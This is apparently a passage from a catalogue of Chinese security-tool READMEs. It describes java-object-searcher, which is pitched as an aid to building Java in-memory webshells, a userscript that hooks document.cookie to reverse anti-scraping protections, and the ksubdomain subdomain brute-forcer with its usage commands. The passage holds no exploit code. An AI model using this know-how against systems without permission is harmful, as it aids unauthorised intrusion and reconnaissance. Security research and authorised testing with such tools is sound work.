简化角色权限设计\n**修复** - rule 状态切换问题\n**修复** - 前端组件冲突问题\n - 增加一键部署脚本\n\n\n#### [v1.6.2] - 2025-03-15\n\n**新增**  \n- 支持 GitHub 使用多 token，避免 GitHub limit 带来的问题  \n\n**修复**  \n- 对项目结构重构，避免单元测试的循环依赖问题  \n- 组件版本升级  \n- 修复 match 不是有效 json 的情况  \n- 修复 docker 的 golang 版本问题  \n- 修复大语言模型分析 Postman 结果时候的问题\n\n#### [v1.6.1] - 2025-02-22\n\n**修复**  \n- 修复邮件发送功能  \n- 搜索结果按照 id 降序排序  \n- 更新 config 模板  \n- 修复 Postman 搜索功能\n\n#### [v1.6.0] - 2025-02-15\n\n**新增**  \n- 支持 OPENAI 兼容模式进行 AI 分析  \n- 更新 config 模板文件\n\n#### [v1.5.2] - 2025-01-02\n\n**修复**  \n- 修复没有 Matches 的情况下无法展示结果的问题\n\n<!--auto_detail_active_end_f9cf7911015e9913b7e691a7a5878527-->\n"
  },
  {
    "path": "detail/java-object-searcher.md",
    "content": "## java-object-searcher <https://github.com/c0ny1/java-object-searcher>\n<!--auto_detail_badge_begin_0b490ffb61b26b45de3ea5d7dd8a582e-->\n![Language](https://img.shields.io/badge/Language-Java-blue)\n![Author](https://img.shields.io/badge/Author-c0ny1-orange)\n![GitHub stars](https://img.shields.io/github/stars/c0ny1/java-object-searcher.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V0.1.0-red)\n![Time](https://img.shields.io/badge/Join-20201120-green)\n<!--auto_detail_badge_end_fef74f2d7ea73fcc43ff78e05b1e7451-->\n\n\n## 0x01 工具简介\n\n```\n#############################################################\n   Java Object Searcher v0.01\n   author: c0ny1<root@gv7.me>\n   github: http://github.com/c0ny1/java-object-searcher\n#############################################################\n```\n\n配合IDEA在Java应用运行时，对内存中的对象进行搜索。比如可以可以用挖掘request对象用于回显，辅助构造java内存webshell等场景。\n\n## 0x02 知识储备\n\n使用之前必须了解的三个概念\n\n#### 2.1 搜索器\n根据要搜索什么样的对象，选择对应的搜索器，目前项目有三类。\n\n* JavaObjectSearcher 普通搜索器\n* SearchRequstByBFS 通过广度优先搜索requst对象搜索器\n* SearchRequstByRecursive 通过深度优先搜索requst对象搜索器(递归实现)\n\n#### 2.2 关键字 & 黑名单\n\n关键字是搜索目标对象的关键，可以目标三个属性`属性名`(field_name),`属性值`(field_value)和`属性类型`(field_type)。\n\n比如想搜索属性名为table同时属性值为test的对象，还搜索属性名`request`同时属性类型包含`RequestInfo`关键字的，对应的逻辑表达试如下：\n\n```$xslt\n(field_name = table & field_value = test) || (field_name = request & field_type = RequestInfo)\n```\n\n编写代码如下：\n\n```java\nList<Keyword> keys = new ArrayList<>();\nkeys.add(new Keyword.Builder().setField_name(\"table\").setField_type(\"test\").build());\nkeys.add(new Keyword.Builder().setField_name(\"request\").setField_type(\"RequestInfo\").build());\n```\n\n黑名单是定义哪些属性中不可能存有要搜索的目标对象，防止无意义的搜索，浪费时间。如果把上面的例子当做黑名单，编写的代码也是类似的。\n\n```java\nList<Blacklist> blacklists = new ArrayList<>();\nblacklists.add(new Blacklist.Builder().setField_name(\"table\").setField_value(\"test\").build());\nblacklists.add(new Blacklist.Builder().setField_name(\"request\").setField_type(\"RequestInfo\").build());\n```\n\n## 0x03 使用步骤\n\n**1. 将`java-object-searcher-<version>.jar`引入到目标应用的classpath中，或者可以放在jdk的ext目录(一劳永逸)**\n\n**2. 编写调用代码搜索目标对象**\n\n以搜索request对象为例，选好搜索器，并根据要搜索的目标特点构造好关键字(必须)和黑名单(非必须)，可写如下搜索代码到IDEA的`Evaluate`中执行。\n\n```java\n//设置搜索类型包含Request关键字的对象\nList<Keyword> keys = new ArrayList<>();\nkeys.add(new Keyword.Builder().setField_type(\"Request\").build());\n//定义黑名单\nList<Blacklist> blacklists = new ArrayList<>();\nblacklists.add(new Blacklist.Builder().setField_type(\"java.io.File\").build());\n//新建一个广度优先搜索Thread.currentThread()的搜索器\nSearchRequstByBFS searcher = new SearchRequstByBFS(Thread.currentThread(),keys);\n// 设置黑名单\nsearcher.setBlacklists(blacklists);\n//打开调试模式,会生成log日志\nsearcher.setIs_debug(true);\n//挖掘深度为20\nsearcher.setMax_search_depth(20);\n//设置报告保存位置\nsearcher.setReport_save_path(\"D:\\\\apache-tomcat-7.0.94\\\\bin\");\nsearcher.searchObject();\n```\n\n## 0x04 更多\n* [半自动化挖掘request实现多种中间件回显](http://gv7.me/articles/2020/semi-automatic-mining-request-implements-multiple-middleware-echo/)\n\n<!--auto_detail_active_begin_e1c6fb434b6f0baf6912c7a1934f772b-->\n## 项目相关\n\n\n## 最近更新\n\n<!--auto_detail_active_end_f9cf7911015e9913b7e691a7a5878527-->\n"
  },
  {
    "path": "detail/js-cookie-monitor-debugger-hook.md",
    "content": "## js-cookie-monitor-debugger-hook <https://github.com/JSREI/js-cookie-monitor-debugger-hook>\n<!--auto_detail_badge_begin_0b490ffb61b26b45de3ea5d7dd8a582e-->\n![Language](https://img.shields.io/badge/Language-JavaScript-blue)\n![Author](https://img.shields.io/badge/Author-JSREI-orange)\n![GitHub stars](https://img.shields.io/github/stars/JSREI/js-cookie-monitor-debugger-hook.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V0.11.0-red)\n![Time](https://img.shields.io/badge/Join-20230830-green)\n<!--auto_detail_badge_end_fef74f2d7ea73fcc43ff78e05b1e7451-->\n\n## 监控、定位JavaScript操作cookie\n\n## 一、脚本说明\n\n### 为什么会有这个东西？\n\n数据无价的时代，爬虫与反爬的对抗已经进入白热化状态，其中Cookie反爬是`最常见之一`的反爬类型， 网站方通过混淆得亲妈都不认识的JS代码设置Cookie（通常是浏览器指纹、请求时必须带上的Cookie之类的），\n面对请求时必须要带上但是又不知道在哪里生成的Cookie， 你在几万行混淆的亲妈都不认识的JS屎海中苦苦挣扎希望能找到生成Cookie的地方（要是逆向思路不科学兴许还会呛上几口...），\n甚至几度想找个借口骗自己放弃，或者要不干脆用Selenium之类的浏览器模拟方式算了？ 怂个球，此脚本就是来助你一臂之力的！ （你我都知道，这段只是撑场面的废话，你可以略过，如果你没有不幸读完的话...）\n\n### 脚本功能\n\n本脚本的功能大致分为两个部分：\n\n- monitor： 监控所有JS操作cookie变化的动作并打印在控制台上\n- debugger: 在cookie符合给定条件并且发生变化时打debugger断点\n\n### Hook生效的条件\n\n- 需要本脚本被成功注入到页面头部最先执行，脚本都未注入成功自然无法Hook\n- 需要是JavaScript操作document.cookie赋值来操作Cookie才能够Hook到 （目前还没碰到不是这么赋值的...）\n\n### 使用须知\n\n本脚本是通过将自己的JS代码注入到页面，Hook住`document.cookie`来完成各种功能， 因此在使用本脚本之前要先确定要搞的Cookie确实是通过JS生成的\n（后面介绍了一种非常简单的确定Cookie是JS生成还是服务器返回的方式）。\n\n## 二、有何优势？\n\n## 2.1 不影响浏览器自带的Cookie管理\n\n目前很多Hook脚本Hook姿势并不对，本脚本采用的是一次性、反复Hook，对浏览器自带的Cookie管理无影响：\n\n![./images/img.png](https://github.com/JSREI/js-cookie-monitor-debugger-hook/raw/main/images/img.png)\n\n## 2.2 功能更强：监控Cookie变化\n\n除了cookie断点功能之外，增加了Cookie修改监控功能，能够在更宏观的角度分析页面上的Cookie：\n\n![./images/img_1.png](https://github.com/JSREI/js-cookie-monitor-debugger-hook/raw/main/images/img_1.png)\n\n（算了，放弃打码了...）\n\n颜色是用于区分操作类型：\n\n- 绿色是添加Cookie\n- 红色是删除Cookie\n- 黄色是修改已经存在的Cookie的值\n\n每个操作都会跟着一个code location，单击可以定位到做了此操作的JS代码的位置。\n\n## 2.3 功能更强：打断点时细分Cookie变化类型\n\n从v0.6开始引入了功能更强大并且配置更灵活的断点规则，引入事件机制， 将Cookie修改细分为增加、删除、更新三个事件，支持更细粒度的打断点， 关于Cookie事件，详情请参阅本文第五部分。\n\n关于为什么要这样设计？ 一种比较常见的情况，目标网站有反爬的Cookie是JS设置的， 但是JS代码的逻辑是先疯狂的删除，然后删除好多次之后才添加真正的值， 这种方式设置Cookie正好能反制一般的Cookie Hook调试。\n\n这里是其中一个例子，比如F5的Cookie保护，有一个Cookie `TS51c47c46075`，它就是先被删除好多次，然后再被添加一次：\n![](https://github.com/JSREI/js-cookie-monitor-debugger-hook/raw/main/images/README_images/20f986d7.png)\n这种情况下可以针对**添加**名为`TS51c47c46075`的Cookie事件打一个断点， 就可以避免那些红色的删除事件混淆视听。\n\n## 三、 安装\n\n### 3.1 安装油猴插件\n\n理论上只要本脚本的JS代码能够注入到页面上即可，这里采用的是油猴插件来将JS代码注入到页面上。\n\n油猴插件可从Chrome商店安装：\n\n[https://chrome.google.com/webstore/detail/tampermonkey/dhdgffkkebhmkfjojejmpbldmpobfkfo](https://chrome.google.com/webstore/detail/tampermonkey/dhdgffkkebhmkfjojejmpbldmpobfkfo)\n\n如果无法翻墙，可以在百度搜索“Tampermonkey”字样寻找第三方网站下载，但请注意不要安装了虚假的恶意插件，推荐从官方商店安装。\n\n其它工具亦可，只要能够将本脚本的JS代码注入到页面最头部执行即可。\n\n### 3.2 安装本脚本\n\n安装油猴脚本可以从官方商店，也可以拷贝代码自己在本地创建。\n\n#### 3.2.1 从油猴商店安装本脚本\n\n推荐此方式，从油猴商店安装的油猴脚本有后续版本更新时能够自动更新，本脚本已经在油猴商店上架：\n\n[https://greasyfork.org/zh-CN/scripts/419781-js-cookie-monitor-debugger-hook](https://greasyfork.org/zh-CN/scripts/419781-js-cookie-monitor-debugger-hook)\n\n#### 3.2.2 手动创建插件\n\n如果您觉得自动更新太烦，或者有其它的顾虑，可以在这里复制本脚本的代码：\n\n[https://github.com/CC11001100/js-cookie-monitor-debugger-hook/blob/main/js-cookie-monitor-debugger-hook.js](https://github.com/CC11001100/js-cookie-monitor-debugger-hook/blob/main/js-cookie-monitor-debugger-hook.js)\n\nreview确认没问题之后在油猴的管理面板添加即可。\n\n## 四、监控Cookie的变化（monitor）\n\n### 4.1 基本用法\n\n注意，监控是为了在宏观上有一个全局的认识，并不是为了定位细节 （通常情况下正确的使用工具才能提高效率哇，当然一个人的认知是有限的，欢迎大家反馈更有意思的玩法）， 比如打开一个页面时：\n\n![./images/img_1.png](https://github.com/JSREI/js-cookie-monitor-debugger-hook/raw/main/images/img_1.png)\n\n根据这张图，我们就能够对这个网站上哪些cookie是JS操作的，什么时间如何操作的有个大致的了解。\n\n### 4.2 基本用法进阶\n\n再比如借助monitor观察cookie的变化规律，比如这个页面，根据时间能够看出这个cookie每隔半分钟会被改变一次：\n\n![./images/img_2.png](https://github.com/JSREI/js-cookie-monitor-debugger-hook/raw/main/images/img_2.png)\n\n### 4.3 过滤打印信息，只查看某个Cookie的变化\n\n（2021-1-7 18:27:49更新v0.4添加此功能）： 如果控制台打印的信息过多， 可以借助Chrome浏览器自带的过滤来筛选，打印的日志的格式已经统一，只需要`cookieName = Cookie名字`即可， 比如：\n\n![./images/img_9.png](https://github.com/JSREI/js-cookie-monitor-debugger-hook/raw/main/images/img_9.png)\n\n请注意，搜索时要保证你的搜索信息是URL解码了的，否则可能会不匹配， 因为控制台的打印信息都是先URL解码再打印的。\n\n### 4.4 过滤打印信息，快速确定Cookie是否是JS本地生成的\n\n如果你不确定要搞的Cookie是本地生成的还是某个请求服务器`set-cookie`返回的， 则可以把本脚本打开，然后刷新目标网站的页面，然后在控制台搜索Cookie名字即可，\n方法与上一节类似，当Cookie的名字比较短没有标识性的时候可以加`cookieName`辅助定位，比如：\n\n```text\ncookieName = v\n```\n\n### 4.5 减少冗余信息（不推荐）\n\n有时候目标网站可能会反复设置一个cookie，还都是同样的值，这个变量用于忽略此类事件：\n\n![./images/img_8.png](https://github.com/JSREI/js-cookie-monitor-debugger-hook/raw/main/images/img_8.png)\n\n一般保持默认即可。\n\n## 五、 定位Cookie的变化（debugger）\n\n```@since v0.6 ```\n此部分的文档适用于v0.6+版本，如果您本地的版本小于0.6，请升级版本后再来阅读文档。\n\n从v0.6开始，在Cookie的值发生改变时打断点变得很复杂，也变得很简单， 复杂是因为引入了事件机制，简单是因为简化了断点规则配置更灵活。\n\n断点规则可以分为`标准规则`和`简化规则`，标准规则是程序底层方便实现处理的， 简化规则是为了用户更方便地配置，通常情况下您只需要了解简化规则就可以了， 当简化规则配置无法满足需求时再来查阅标准规则如何配置。\n\n#### 5.1 debuggerRules\n\n所有的规则都是配置在`debuggerRules`数组中的，在脚本的头部有一个变量：\n![](https://github.com/JSREI/js-cookie-monitor-debugger-hook/raw/main/images/README_images/45ecea34.png)\n如果找不到的话，可以按Ctrl+F按变量的名字搜索：\n\n```js\ndebuggerRules\n```\n\n这个变量是一个数组类型，里面存放着一些规则条件，来决定什么情况下会进入断点。\n\n注意，这是一个数组，数组中的规则是或的关系，触发Cookie修改事件时， 会顺序匹配每条规则， 只要有一条规则匹配成功就会进入一次断点。\n\n### 5.2 常用配置方式（简化的配置规则）\n\n#### 5.2.1 Cookie名字过滤\n\n当名为`foo`的Cookie发生变化时进入断点：\n\n```js\nconst debuggerRules = [\"foo\"];\n```\n\n上面这种方式指定一个字符串，会按照Cookie名字等于给定的字符串去匹配。\n\n注意，此处的完全匹配如果有被URL编码的部分也需要先URL解码再粘贴到这里， 其它涉及到字符串的地方都一样后面不再赘述。\n\n如果Cookie的名字中包含一直变化的部分，比如时间戳、UUID之类的， 通过名字已经无法定位，则通过正则匹配：\n\n```js\nconst debuggerRules = [/foo.+/];\n```\n\n绝大多数情况只需要这两种配置就够了。\n\n下面来实践一下，当打开这个页面\n\n[https://www.ishumei.com/trial/captcha.html](https://www.ishumei.com/trial/captcha.html)\n\n能看到脚本检测到了一些Cookie操作：\n\n![](https://github.com/JSREI/js-cookie-monitor-debugger-hook/raw/main/images/README_images/36eb394d.png)\n\n其中有个`smidV2`很可疑，于是我们为它添加一个断点：\n\n![](https://github.com/JSREI/js-cookie-monitor-debugger-hook/raw/main/images/README_images/5415caa1.png)\n\n修改完`debuggerRules`数组要注意按Ctrl+S保存脚本，然后因为油猴是在页面加载的时候注入JS代码的， 所以要刷新页面重新注入，当刷新页面的时候就自动进入了断点：\n\n![](https://github.com/JSREI/js-cookie-monitor-debugger-hook/raw/main/images/README_images/47c3b465.png)\n\n上图的红色框A中是专门传进来的一些变量，通过将鼠标移动到这些变量上查看值， 我们能够大概知道当前断点的一些情况：\n\n![](https://github.com/JSREI/js-cookie-monitor-debugger-hook/raw/main/images/README_images/0cf06995.png)\n\n然后就是红色框B，我们打Cookie断点就是为了追踪调用栈定位生成Cookie的地方， 红色方框内是本脚本的调用栈，有很明显的`userscript.html`标识， 忽略此部分的调用栈即可。\n\n然后追溯调用栈，能够看到设置Cookie的地方：\n\n![](https://github.com/JSREI/js-cookie-monitor-debugger-hook/raw/main/images/README_images/33dc63f1.png)\n\n当然看这个栈对我们没用，我们要做的就是逐步往前定位， 直到定位到真正生成Cookie的地方，但是呢，本脚本只能帮你打个断点， 后面星辰大海的征程就要靠你自己啦！\n\n#### 5.2.2 Cookie名字和事件结合\n\n在名为`foo`的Cookie被`添加`时进入断点：\n\n```js\nconst debuggerRules = [{\"add\": \"foo\"}];\n```\n\n在名为`foo`的Cookie被`删除`时进入断点：\n\n```js\nconst debuggerRules = [{\"delete\": \"foo\"}];\n```\n\n在名为`foo`的Cookie已经存在但是值被`更新`时进入断点：\n\n```js\nconst debuggerRules = [{\"update\": \"foo\"}];\n```\n\n条件可以同时指定多个，在`添加和更新`时进入断点，相当于是把删除排除在外：\n\n```js\nconst debuggerRules = [{\"add|update\": \"foo\"}];\n```\n\n涉及到Cookie名字匹配的地方都可以使用字符串或者正则：\n\n```js\nconst debuggerRules = [{\"add\": /foo_\\d+/}];\n```\n\n### 5.3 标准的配置规则\n\n上面的简化规则会被转化为标准规则，您也可以直接在`debuggerRules`数组中配置标准规则， 一条标准的规则的格式：\n\n```text\n{\n    \"events\": \"{add|delete|update}\",\n    \"name\": {\"cookie-name\" | /cookie-name-regex/},\n    \"value\": {\"cookie-value\" | /cookie-value-regex/}\n}\n```\n\n#### events:\n\n字符串类型，表示此条规则匹配的事件类型，可以是单个事件，比如`add`， 也可以是多个事件，多个事件之间使用`|`来分隔，比如`add|update`， 如果觉得挤的话还可以在`|`两侧加空格，比如`add | update`\n当配置了事件类型时只会匹配给定的事件类型，当不配置此选项时，默认匹配所有事件类型。\n\n#### name:\n\n可以是字符串，也可以是正则，当Cookie的名字匹配给定的字符串或者正则时为true， 此条不可忽略必须配置。\n\n#### value:\n\n可以是字符串，也可以是正则，当Cookie的值匹配给定的字符串或者正则时此规则为true， 可以不配置，不配置则会忽略此选项。\n\n### 5.4 事件类型详解\n\n前面介绍断点规则的配置，多次提到了事件类型， 我们只知道每个事件对应的名字的字符串是啥了， 但是还不知道每种事件意味着底层发生了啥， 本部分就是解释每种事件的实现机制。\n\nCookie发生了变化细分为增加Cookie、删除Cookie、更新已有的Cookie的值，其中每个事件对应着一个事件名字：\n\n- 增加Cookie（add）\n- 删除Cookie（delete）\n- 更新Cookie（update）\n\n#### 增加Cookie事件\n\nCookie之前在本地不存在，这是第一次添加。 有可能是第一次访问这个网站 ，也有可能是清除了Cookie重新访问，或者是每次访问网站都会生成新的Cookie，\n甚至可能是网站自己的代码把Cookie删了重新添加，这都会触发增加Cookie事件。\n\n比如执行下面的代码，这里为了保证Cookie之前不存在，在cookie的名字中加了时间戳：\n\n```js\ndocument.cookie = \"foo_\" + new Date().getTime() + \"=bar; expires=Fri, 31 Dec 9999 23:59:59 GMT; path=/\";\n```\n\n当我们在控制台运行这行代码的时候，就会触发Cookie添加事件：\n\n![](https://github.com/JSREI/js-cookie-monitor-debugger-hook/raw/main/images/README_images/10ea2db6.png)\n\n#### 更新Cookie事件\n\n当一个Cookie在本地已经存在，然后又尝试为它设置值，就会触发更新Cookie事件。\n\n比如下面的代码：\n\n```js\ndocument.cookie = \"foo_10086=blabla; expires=Fri, 31 Dec 9999 23:59:59 GMT; path=/\";\ndocument.cookie = \"foo_10086=wuawua; expires=Fri, 31 Dec 9999 23:59:59 GMT; path=/\";\n```\n\n第一条设置Cookie的语句会触发Cookie新增事件， 第二条设置Cookie的语句因为要设置的Cookie已经存在了， 所以触发了Cookie更新事件。\n\n![](https://github.com/JSREI/js-cookie-monitor-debugger-hook/raw/main/images/README_images/fa06f80c.png)\n\n#### 删除Cookie事件\n\n如果前端开发者在设置Cookie的时候，给了一个早于当前时间的expires， 则意味着要删除这个Cookie，比如一种常见的删除Cookie的方式：\n\n```js\nconst expires = new Date(new Date().getTime() - 1000 * 30).toGMTString();\ndocument.cookie = \"foo=; expires=\" + expires + \"; path=/\"\n```\n\n当我们在控制台运行这段代码时，就会触发Cookie删除事件：\n\n![](https://github.com/JSREI/js-cookie-monitor-debugger-hook/raw/main/images/README_images/35720fae.png)\n\n由上面也可以看出来，触发Cookie删除事件纯粹是检测expires， 并不会真的去检查这个Cookie之前是否存在。\n\n### 5.5 控制事件类型断点是否开启的标志位\n\n前面介绍了在配置Cookie断点规则的时候有个事件类型， 事实上每个事件类型都对应着一个此事件类型的断点是否开启的标志位， 这个标志位的优先级是最高的，比如没有开启删除Cookie断点的情况下，触发了Cookie删除事件，\n会先检查Cookie删除断点是否开启标志位，如果是关闭的， 则直接忽略本次事件不再尝试匹配断点规则 （开发者工具控制台上是仍然会打印本次删除事件的日志的）。\n\n所以现在的情况就变得非常复杂了，让我们再捋一下这一个小小的Cookie断点要走的流程：\n\n1. 触发Cookie增加、删除、修改事件，然后检查对应的事件类型断点是否开启\n2. 如果没有开启，则忽略，如果已经开启，则顺序检查是否匹配给定的规则\n3. 每匹配成功一条规则，则进入断点一次.\n\n默认情况下只开启了Cookie增加事件和Cookie修改事件的断点：\n\n![](https://github.com/JSREI/js-cookie-monitor-debugger-hook/raw/main/images/README_images/2a5b0f6c.png)\n\n因为一般情况下，增加Cookie和更新Cookie可以混为一谈，它们都是为Cookie赋了一个值， 而大部分情况下我们不会关注Cookie被删除的事件，所以这里就这么设置了，如果无法满足你的需求，\n可以自行修改`enableEventDebugger`对应的值。\n\n## 六、 问题反馈\n\n在使用的过程过程中遇到任何问题，可以在GitHub的`Issues`中反馈， 也可以在油猴脚本的评论区反馈，还可以给我发邮件，我看到之后会尽快处理。\n\n## 七、FAQ\n\n### 7.1 如何调整控制台打印的字体大小？\n\n从v0.6版本开始增加了一个变量用于调整本脚本在控制台打印的日志的字体大小，单位为px：\n\n![](https://github.com/JSREI/js-cookie-monitor-debugger-hook/raw/main/images/README_images/8b47aea4.png)\n\n随着版本迭代，可能不在这个位置了，如果一下找不到，就在代码搜索：\n\n```js\nconsoleLogFontSize\n```\n\n然后修改这个变量的值即可。\n\n或者另一种方案，可以在开发者工具控制台按住Ctrl+鼠标滚轮缩放调整整体大小， 这是Chrome浏览器自带的功能。\n\n### 7.2 为什么Cookie明明是JS设置的，但是没有Hook到？你个大骗子！  :（\n\n在本文的最开始就交代了，本脚本要能够成功的注入到页面的开头部分并且执行才能够Hook成功， 对于类似于加速乐第一层那种整个页面只返回一个script，里面是这种逻辑：\n\n```html\n\n<script>\n    document.cookie = 这里是一些奇奇怪怪的JS用于计算出Cookie;\n    location.href = \"跳转走了\";\n</script>\n```\n\n设置了Cookie并且立刻就重定向到了新的页面，对于这种操作，有可能会Hook不到，这是油猴脚本的问题，如果坚持要Hook， 可以采用挂代理将本脚本注入到这个URL的响应的头部。\n\n# 八、实战示例\n\n此页面下是一些使用此脚本逆向的实战例子汇总：  \n[点我进入导航页](https://github.com/JSREI/js-cookie-monitor-debugger-hook/tree/main/docs)\n\n\n<!--auto_detail_active_begin_e1c6fb434b6f0baf6912c7a1934f772b-->\n## 项目相关\n\n\n## 最近更新\n\n<!--auto_detail_active_end_f9cf7911015e9913b7e691a7a5878527-->\n"
  },
  {
    "path": "detail/ksubdomain.md",
    "content": "## ksubdomain <https://github.com/boy-hack/ksubdomain>\n<!--auto_detail_badge_begin_0b490ffb61b26b45de3ea5d7dd8a582e-->\n![Language](https://img.shields.io/badge/Language-Golang-blue)\n![Author](https://img.shields.io/badge/Author-w8ay-orange)\n![GitHub stars](https://img.shields.io/github/stars/boy-hack/ksubdomain.svg?style=flat&logo=github)\n![Version](https://img.shields.io/badge/Version-V2.2.1-red)\n![Time](https://img.shields.io/badge/Join-20200821-green)\n<!--auto_detail_badge_end_fef74f2d7ea73fcc43ff78e05b1e7451-->\n\n# KSubdomain: 极速无状态子域名爆破工具\n\n[![Release](https://img.shields.io/github/release/boy-hack/ksubdomain.svg)](https://github.com/boy-hack/ksubdomain/releases) [![Go Report Card](https://goreportcard.com/badge/github.com/boy-hack/ksubdomain)](https://goreportcard.com/report/github.com/boy-hack/ksubdomain) [![License](https://img.shields.io/github/license/boy-hack/ksubdomain)](https://github.com/boy-hack/ksubdomain/blob/main/LICENSE)\n\n**KSubdomain 是一款基于无状态技术的子域名爆破工具，带来前所未有的扫描速度和极低的内存占用。** 告别传统工具的效率瓶颈，体验闪电般的 DNS 查询，同时拥有可靠的状态表重发机制，确保结果的完整性。 KSubdomain 支持 Windows、Linux 和 macOS，是进行大规模DNS资产探测的理想选择。\n\n![](https://raw.githubusercontent.com/boy-hack/ksubdomain/main/image.gif)\n\n## 🚀 核心优势\n\n*   **闪电般的速度:** 采用无状态扫描技术，直接操作网络适配器进行原始套接字发包，绕过系统内核的网络协议栈，实现惊人的发包速率。通过 `test` 命令可探测本地网卡的最大发送速度。\n*   **极低的资源消耗:** 创新的内存管理机制，包括对象池和全局内存池，显著降低内存分配和 GC 压力，即使处理海量域名也能保持低内存占用。\n*   **无状态设计:** 类似 Masscan 的无状态扫描，不从系统维护状态表，自建轻量状态表，从根本上解决了传统扫描工具的内存瓶颈和性能限制，以及解决了无状态扫描漏包问题。\n*   **可靠的重发:** 内建智能重发机制，有效应对网络抖动和丢包，确保结果的准确性和完整性。\n*   **跨平台支持:** 完美兼容 Windows, Linux, macOS。\n*   **易于使用:** 简洁的命令行接口，提供验证 (verify) 和枚举 (enum) 两种模式，并内置常用字典。\n\n## ⚡ 性能亮点\n\nKSubdomain 在速度和效率上远超同类工具。以下是在 4 核 CPU、5M 带宽网络环境下，使用 10 万字典进行的对比测试：\n\n| 工具         | 扫描模式 | 发包方式     | 命令                                                                       | 耗时           | 成功个数 | 备注                      |\n| ------------ | -------- | ------------ | -------------------------------------------------------------------------- | -------------- | -------- | ------------------------- |\n| **KSubdomain** | 验证     | pcap 网卡发包 | `time ./ksubdomain v -b 5m -f d2.txt -o k.txt -r dns.txt --retry 3 --np`  | **~30 秒**     | 1397     | `--np` 关闭实时打印       |\n| massdns      | 验证     | pcap/socket  | `time ./massdns -r dns.txt -t A -w m.txt d2.txt --root -o L`                 | ~3 分 29 秒    | 1396     |                           |\n| dnsx         | 验证     | socket       | `time ./dnsx -a -o d.txt -r dns.txt -l d2.txt -retry 3 -t 5000`             | ~5 分 26 秒    | 1396     | `-t 5000` 设置 5000 并发 |\n\n**结论:** KSubdomain 的速度是 massdns 的 **7 倍**，是 dnsx 的 **10 倍** 以上！\n## 🛠️ 技术革新 (v2.0)\n\nKSubdomain 2.0 版本引入了多项底层优化，进一步压榨性能潜力：\n\n1.  **状态表优化:**\n    *   **分片锁 (Sharded Lock):** 替代全局锁，大幅减少锁竞争，提高并发写入效率。\n    *   **高效哈希:** 优化键值存储，均匀分布域名，提升查找速度。\n2.  **发包机制优化:**\n    *   **对象池:** 复用 DNS 包结构体，减少内存分配和 GC 开销。\n    *   **模板缓存:** 为相同 DNS 服务器复用以太网/IP/UDP 层数据，减少重复构建开销。\n    *   **并行发送:** 多协程并行发包，充分利用多核 CPU 性能。\n    *   **批量处理:** 批量发送域名请求，减少系统调用和上下文切换。\n3.  **接收机制优化:**\n    *   **对象池:** 复用解析器和缓冲区，降低内存消耗。\n    *   **并行处理管道:** 接收 → 解析 → 处理三阶段并行，提高处理流水线效率。\n    *   **缓冲区优化:** 增加内部 Channel 缓冲区大小，避免处理阻塞。\n    *   **高效过滤:** 优化 BPF 过滤规则和包处理逻辑，快速丢弃无效数据包。\n4.  **内存管理优化:**\n    *   **全局内存池:** 引入 `sync.Pool` 管理常用数据结构，减少内存分配和碎片。\n    *   **结构复用:** 复用 DNS 查询结构和序列化缓冲区。\n5.  **架构与并发优化:**\n    *   **动态并发:** 根据 CPU 核心数自动调整协程数量。\n    *   **高效随机数:** 使用性能更优的随机数生成器。\n    *   **自适应速率:** 根据网络状况和系统负载动态调整发包速率。\n    *   **批量加载:** 批量加载和处理域名，降低单个域名处理的固定开销。\n\n## 📦 安装\n\n1.  **下载预编译二进制文件:** 前往 [Releases](https://github.com/boy-hack/ksubdomain/releases) 页面下载对应系统的最新版本。\n2.  **安装 `libpcap` 依赖:**\n    *   **Windows:** 下载并安装 [Npcap](https://npcap.com/) 驱动 (WinPcap 可能无效)。\n    *   **Linux:** 已静态编译打包 `libpcap`，通常无需额外操作。若遇问题，请尝试安装 `libpcap-dev` 或 `libcap-devel` 包。\n    *   **macOS:** 系统自带 `libpcap`，无需安装。\n3.  **赋予执行权限 (Linux/macOS):** `chmod +x ksubdomain`\n4.  **运行!**\n\n### 源码编译 (可选)\n\n确保您已安装 Go 1.23 版本和 `libpcap` 环境。\n\n```bash\ngo install -v github.com/boy-hack/ksubdomain/cmd/ksubdomain@latest\n# 二进制文件通常位于 $GOPATH/bin 或 $HOME/go/bin\n```\n\n## 📖 使用说明\n\n```bash\nKSubdomain - 极速无状态子域名爆破工具\n\n用法:\n  ksubdomain [全局选项] 命令 [命令选项] [参数...]\n\n版本:\n  查看版本信息: ksubdomain --version\n\n命令:\n  enum, e    枚举模式: 提供主域名进行爆破\n  verify, v  验证模式: 提供域名列表进行验证\n  test       测试本地网卡最大发包速度\n  help, h    显示命令列表或某个命令的帮助\n\n全局选项:\n  --help, -h     显示帮助 (默认: false)\n  --version, -v  打印版本信息 (默认: false)\n```\n\n### 验证模式 (Verify)\n\n验证模式用于快速检查提供的域名列表的存活状态。\n\n```bash\n./ksubdomain verify -h # 查看验证模式帮助，可缩写 ksubdomain v\n\nUSAGE:\n   ksubdomain verify [command options] [arguments...]\n\nOPTIONS:\n   --filename value, -f value       验证域名的文件路径\n   --domain value, -d value         域名\n   --band value, -b value           宽带的下行速度，可以5M,5K,5G (default: \"3m\")\n   --resolvers value, -r value      dns服务器，默认会使用内置dns\n   --output value, -o value         输出文件名\n   --output-type value, --oy value  输出文件类型: json, txt, csv (default: \"txt\")\n   --silent                         使用后屏幕将仅输出域名 (default: false)\n   --retry value                    重试次数,当为-1时将一直重试 (default: 3)\n   --timeout value                  超时时间 (default: 6)\n   --stdin                          接受stdin输入 (default: false)\n   --not-print, --np                不打印域名结果 (default: false)\n   --eth value, -e value            指定网卡名称\n   --wild-filter-mode value         泛解析过滤模式[从最终结果过滤泛解析域名]: basic(基础), advanced(高级), none(不过滤ne\")\n   --predict                        启用预测域名模式 (default: false)\n   --help, -h                       show help (default: false)\n\n# 示例:\n# 验证多个域名解析\n./ksubdomain v -d xx1.example.com -d xx2example.com\n\n# 从文件读取域名进行验证，保存为 output.txt\n./ksubdomain v -f domains.txt -o output.txt\n\n# 从标准输入读取域名，带宽限制为 10M\ncat domains.txt | ./ksubdomain v --stdin -b 10M\n\n# 启用预测模式，泛解析过滤，保存为csv\n./ksubdomain v -f domains.txt --predict --wild-filter-mode advanced --oy csv -o output.csv\n```\n\n### 枚举模式 (Enum)\n\n枚举模式基于字典和预测算法爆破指定域名下的子域名。\n\n```bash\n./ksubdomain enum -h # 查看枚举模式帮助,可简写 ksubdomain e\n\nUSAGE:\n   ksubdomain enum [command options] [arguments...]\n\nOPTIONS:\n   --domain value, -d value         域名\n   --band value, -b value           